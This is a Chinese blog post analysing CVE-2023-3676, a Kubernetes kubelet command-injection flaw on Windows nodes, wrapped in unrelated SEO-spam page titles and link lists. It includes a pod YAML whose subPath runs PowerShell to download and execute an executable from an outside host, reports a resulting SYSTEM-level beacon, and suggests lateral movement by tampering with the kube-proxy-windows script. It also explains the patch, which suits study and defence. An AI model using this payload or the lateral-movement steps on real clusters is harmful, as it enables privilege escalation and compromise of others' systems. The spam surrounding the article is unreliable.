当前位置: 首页 > news >正文

iis7建设网站正规建筑工程网站

iis7建设网站,正规建筑工程网站,深圳微商城网站设计公司,广州市住房和城乡建设厅网站目录 漏洞概述 漏洞详情 ​编辑 漏洞验证 补丁分析 在集群中探索 参考资料 在许多组织中#xff0c;所运行的很大一部分服务和应用是 Windows 应用。Windows 容器提供了一种封装进程和包依赖项的方式#xff0c;从而简化了 DevOps 实践#xff0c;令 Windows 应用程序…目录 漏洞概述 漏洞详情 ​编辑 漏洞验证 补丁分析 在集群中探索 参考资料 在许多组织中所运行的很大一部分服务和应用是 Windows 应用。Windows 容器提供了一种封装进程和包依赖项的方式从而简化了 DevOps 实践令 Windows 应用程序同样遵从云原生模式实际生产中存在很多这样的混合集群。 K8S后渗透横向节点与持久化隐蔽方式探索 K8S API访问控制之RBAC利用  之前两篇有关 K8S 的文章点击文章查看分别探索了对于 K8S 本身功能的利用、多种不同 RBAC 权限的利用但是对于集群中 Windows 节点的情况下并未去研究刚好近期 K8S 的一些漏洞是针对 Windows 节点。 漏洞概述 近期 kubernetes 中发现了漏洞 CVE-2023-3676该漏洞可在集群中的 Windows 节点上创建 pod并在节点上提权到管理员权限。  受影响的版本 • kubelet v1.28.0 • kubelet v1.27.4 • kubelet v1.26.7 • kubelet v1.25.12 • kubelet v1.24.16 漏洞详情 该漏洞是一个典型的命令注入由于节点上运行的 kubelet 是由本地最高权限即管理员权限通过创建 pod 使用 kubelet 的权限以达到提权。 命令注入就是将用户提交的数据未经过滤或者过滤不严格通过拼接将参数传入调用系统命令的函数调用处。 用户在集群中创建 pod 时可以在主机和 pod 之间创建共享目录就是卷卷主要用来多个 pod 共享文件或者持久化容器生命周期内创建或修改的文件。 在 pod 中共享卷是非常方便的volumeMounts.subPath 属性可用于指定所引用的卷内的子路径而不是其根路径。 该漏洞就是通过 kubelet 在解析 subPath 参数时未经处理直接传递给 Powershell通过 PS 检查并解析符号链接。 kubelet 在解析 yaml 文件时会调用函数isLinkPath来对subPath进行校验已确保不会因为该参数创建符号链接。 该函数主要讲subPath作为参数确实是否为符号链接然后创建一个PS命令并通过exec.Command之间调用而在这里并未做其他校验直接进行了命令调用存在命令注入的可能。 而 Powershell中的子表达式运算符$()返回一个或多个语句的结果。对于单个结果返回一个标量。对于多个结果返回一个数组。如果要在另一个表达式中使用某个表达式请使用此方法。例如在字符串表达式中嵌入命令的结果。 PS Today is $(Get-Date) Today is 12/02/2019 13:15:20PS Folder list: $((dir c:\ -dir).Name -join , ) Folder list: Program Files, Program Files (x86), Users, Windows 除了以上示例外其他任何 PS 命令都可以使用如$(Start-Process cmd)、$(Invoke-Expression exp)等等。 漏洞验证 通过上面分析我们可以构建一个恶意的 pod 进行验证参考下面的 yaml apiVersion: v1 kind: Pod metadata:name: cve-2023-3676 spec:containers:- name: testimage: mcr.microsoft.com/powershell:lts-7.2-nanoserver-1809command: [pwsh]args: [-Command, Start-Sleep, 3600]volumeMounts:- name: win-etcmountPath: c:\etcsubPath: $(Start-process powershell (new-object System.Net.WebClient).DownloadFile(http://x.xx.x.x/a.exe,C:\a.exe);start-process C:\a.exe)nodeSelector:kubernetes.io/os: windowsvolumes:- name: win-etc 执行并创建该 pod并将 cmd 设置为 cs 生成的 ps。 kubectl apply -f CVE-2023-3676.yaml 由于 subPath 不正确 pod 创建失败但是命令成功执行成功上线并且权限也是管理员nt authority\system而且由于 pod 创建失败会一直创建不停上线后续还需优化。 补丁分析 下图为官方对漏洞修复的代码 设置了 $ErrorActionPreference Stop这意味着如果PowerShell报错就会抛出异常并终止命令的执行阻碍了攻击者通过错误获得信息。 使用 -Force 和 $env:linkpath在命令中使用了 -Force 参数和 $env:linkpath 变量以确保在获取目标文件时跳过安全限制并使用环境变量传递路径值这样作为变量传递的话参数将被视为字符串而不能在计算表达式。 使用 cmd.Env设置环境变量将 path 值作为环境变量传递给而不是直接拼接到命令中阻止了命令注入的问题。 在集群中探索 结合之前的文章可以在存在 RBAC 权限符合的情况下在 Windows 节点上创建恶意的 pod 完成内网横向并且获得权限且是管理员权限Windows 节点由于该利用会导致无法创建成功。 如果利用 Windows 版本的 kube-proxy 会导致集群出现问题其中 kube-proxy-windows 会使用到一个 ps 脚本该脚本存放在 configmap 中也可以修改该脚本完成横向 参考资料 • https://github.com/kubernetes/kubernetes/issues/119339 • https://www.akamai.com/blog/security-research/kubernetes-critical-vulnerability-command-injection • https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_operators?viewpowershell-7.4
http://www.zqtcl.cn/news/830654/

相关文章:

  • c 高性能网站开发弄一个公司网站需要多少钱
  • 建设部网站招标投标文件网页设计专业公司
  • 使用iis6搭建网站wordpress调用搜索功能
  • 装配式建筑网站生活家装饰
  • 怎样做软件网站建设百度网站认证官网
  • phpcms网站什么网站都能进的浏览器
  • 建设配资网站有要求吗网站建设不一定当地
  • 永兴网站开发智慧门店管理服务平台
  • 网站建设前的市场分析李炎辉网站建设教程
  • 乱起封神是那个网站开发的?广州市建设注册中心网站首页
  • 网站开发配置网络广告的投放技巧
  • wordpress 漫画网站安徽省建设厅八大员报名网站
  • 音乐网站排名建设部证书查询网站
  • 长沙建站挺找有为太极wordpress eshop 教程
  • 郑州平台类网站网站开发常见面试题
  • 城乡建设网站职业查询系统做网站设计的需要什么材料
  • ui做的好看的论坛网站加工制造网
  • 南庄网站开发厦门建设局网站城市建设
  • 常州网站建设效果重庆招聘网
  • 做视频网站需要多大的带宽公众号怎么开通直播功能
  • 信息化网站建设引言南宁 网站建设
  • 怎么做外贸网站的邮箱签名做网站页面怎么做
  • 做文库网站怎么赚钱吗百度网盘下载官网
  • 带后台的网站模板下载wordpress文章置顶插件
  • 云阳营销型网站建设北京梵客装饰公司地址电话
  • 北京有哪些网站建设公司好网站做配置文件的作用
  • 网站制作定制做网站顾客提现金额后台
  • 歙县建设银行网站人员优化是什么意思
  • 网站建设需解决问题wp商城
  • 简单房地产网站在哪老版建设银行网站